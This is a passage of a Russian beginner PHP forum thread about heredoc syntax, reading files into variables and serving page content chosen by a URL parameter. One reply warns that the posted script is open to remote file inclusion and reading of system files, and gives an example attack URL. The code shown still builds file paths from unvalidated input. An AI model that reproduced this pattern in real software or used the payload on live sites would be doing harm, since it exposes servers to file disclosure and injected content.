Strict Standards: Resource ID#18 used as offset, casting to integer (18) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#23 used as offset, casting to integer (23) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#25 used as offset, casting to integer (25) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#26 used as offset, casting to integer (26) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401
ТвойWeb :: Ссылки вида ?link=obomne и т д [4]
ТвойWeb ТвойWeb
Качественный Европейский хостинг
Форум для чайников
 Чат на форуме      Помощь      Поиск      Пользователи


 Страниц (5): « 1 2 3 [4] 5 »   

> Без описания
Furax
Отправлено: 09 Февраля, 2008 - 01:49:10
Post Id



Бледнотик


Покинул форум
Сообщений всего: 1472
Дата рег-ции: Март 2007  
Откуда: Иркутск, Сибирь, СССР

Карма 32




Systemnik
Во втором вхождении написал EOFCONEC вместо EOFKONEC.

Идентификатор должен быть одинаковый в начале и конце вложенного документа. Какой именно - значения не имеет. Хоть HTTPTVOYWEBRUFORUMS.
 
 Top
Systemnik Администратор
Отправлено: 09 Февраля, 2008 - 02:49:37
Post Id



ExBB Developer Team


Покинул форум
Сообщений всего: 778
Дата рег-ции: Дек. 2007  

Карма 0




ой спасибо тебе друг!! Подмигивание спасибо! щас проверю!

}
[работает УРА]
}


и последний вопос пусть тума отдельного топика но всеже..
подскажите а можно ли в качестве значению переменной сделать например ссылку
на html файл.. также типа вложеный докуент тока в отделном файле?? Подмигивание

(Отредактировано автором: 09 Февраля, 2008 - 02:53:31)

 
 Top
Furax
Отправлено: 09 Февраля, 2008 - 03:56:10
Post Id



Бледнотик


Покинул форум
Сообщений всего: 1472
Дата рег-ции: Март 2007  
Откуда: Иркутск, Сибирь, СССР

Карма 32




Systemnik
CODE:
include('document.html');
 
 Top
Systemnik Администратор
Отправлено: 10 Февраля, 2008 - 01:36:30
Post Id



ExBB Developer Team


Покинул форум
Сообщений всего: 778
Дата рег-ции: Дек. 2007  

Карма 0




Тоесть так?
CODE:
$peremennaya = include("dsds");
 
 Top
Furax
Отправлено: 10 Февраля, 2008 - 02:21:03
Post Id



Бледнотик


Покинул форум
Сообщений всего: 1472
Дата рег-ции: Март 2007  
Откуда: Иркутск, Сибирь, СССР

Карма 32




Systemnik
А, тебе непременно хочется загнать текст из файла в переменную? Зачем тебе это? Всё должно быть проще!
CODE:
$var=file_get_contents('filename');
 
 Top
Systemnik Администратор
Отправлено: 10 Февраля, 2008 - 08:11:32
Post Id



ExBB Developer Team


Покинул форум
Сообщений всего: 778
Дата рег-ции: Дек. 2007  

Карма 0




Пон спасибо! Подмигивание
 
 Top
snowman
Отправлено: 20 Февраля, 2008 - 16:34:54
Post Id



Full Member


Покинул форум
Сообщений всего: 206
Дата рег-ции: Март 2006  
Откуда: SPb\\Vladivostok

Карма 0




Не хоца новую тему создавать тем более что я пытался делать тоже самое.

Вобщем вот это на локальной машине вполне работает а вот на альфамуне

CODE:
<?php
include("header.htm");
include("menu.htm");

if (empty($_GET['page'])){ $page = "index"; }

$pagename = "$page.txt";
$pagec = fopen("$pagename", "r");
$bufer = fread($pagec, filesize($pagename));
fclose($pagec);
echo $bufer;

include("footer.htm");?>


на альфамуне грузит только главную страницу, когда пытаешься перейти на другие, то пишет

CODE:
Warning: fopen(.txt) [function.fopen]: failed to open stream: No such file or directory in /home/fbilib/fbilib.alfamoon.com/ars/index.php on line 8

Warning: filesize() [function.filesize]: Stat failed for .txt (errno=2 - No such file or directory) in /home/fbilib/fbilib.alfamoon.com/ars/index.php on line 9

Warning: fread(): supplied argument is not a valid stream resource in /home/fbilib/fbilib.alfamoon.com/ars/index.php on line 9

Warning: fclose(): supplied argument is not a valid stream resource in /home/fbilib/fbilib.alfamoon.com/ars/index.php on line 10


т.е. файл не открывает, не понимает имя файла, заданное через переменную.

Буду рад если кто подскажет в чем может быть причина или может вообще как-то это по другому стоит делать ?

Пытаюсь сделать хранение и вывод содержания в файлах, чтобы их потом редактировать без фтп ) Дома 3 книжки по php и одна по Perl. Но пока мало во что врубаюсь )
 
 Top
Furax
Отправлено: 20 Февраля, 2008 - 23:05:20
Post Id



Бледнотик


Покинул форум
Сообщений всего: 1472
Дата рег-ции: Март 2007  
Откуда: Иркутск, Сибирь, СССР

Карма 32




snowman
Просто на хосте отключена регистрация глобальных переменных. Используй везде в коде $_GET['page'] вместо $page.

Кстати, то, что ты написал - зачатки прекрасной дыры в безопасности! Если я обращусь к твоей странице вот так: http://yourSite.ru/yourPage.php?page=http://xaker.ru/badcode, то твой скрипт с готовностью вставит в код страницы (хорошо хоть не запустит на выполнение...) содержимое файла http://xaker.ru/badcode.txt. Также я могу просмотреть системные файлы на твоём серваке (конечно, лишь те, на чтение которых у меня есть права). Оно тебе надо?

Чтобы этого не было, нужно проверять, а что вообще содержится в строке, переданной в поле page.
 
 Top
snowman
Отправлено: 22 Февраля, 2008 - 10:37:08
Post Id



Full Member


Покинул форум
Сообщений всего: 206
Дата рег-ции: Март 2006  
Откуда: SPb\\Vladivostok

Карма 0




спасибо Улыбка
до безопасности я еще доберусь.

пока надо решить более простые задачи )

я еще в синтаксис то толком не врубаюсь.

теперь точки не видит перед расширением:

CODE:
$pagename = $_GET['page'].txt;
 
 Top
Furax
Отправлено: 23 Февраля, 2008 - 00:02:21
Post Id



Бледнотик


Покинул форум
Сообщений всего: 1472
Дата рег-ции: Март 2007  
Откуда: Иркутск, Сибирь, СССР

Карма 32




snowman
Это потому что ты пытаешься выполнить конкатенацию строки, переданной в поле $_GET['page'], и содержимого константы txt. Надо делать так:
CODE:
$pagename = "$_GET[page].txt";
Или так:
CODE:
$pagename = $_GET['page'] . '.txt';
 
 Top
Страниц (5): « 1 2 3 [4] 5 »
Сейчас эту тему просматривают: 7 (гостей: 7, зарегистрированных: 0, скрытых: 0)
« PHP/Perl »


Все гости форума могут просматривать этот раздел.
Только администраторы и модераторы могут создавать новые темы в этом разделе.
Только администраторы и модераторы могут отвечать на сообщения в этом разделе.
 



Форум на AlfaSpace.NET


Powered by ExBB
ExBB FM 1.0 RC1 by TvoyWeb.ru
InvisionExBB Style converted by Markus®

[Script Execution time: 0.0466]     [ Gzipped ]



Notice: ob_end_flush(): failed to send buffer of ob_gzhandler (1) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/page_tail.php on line 33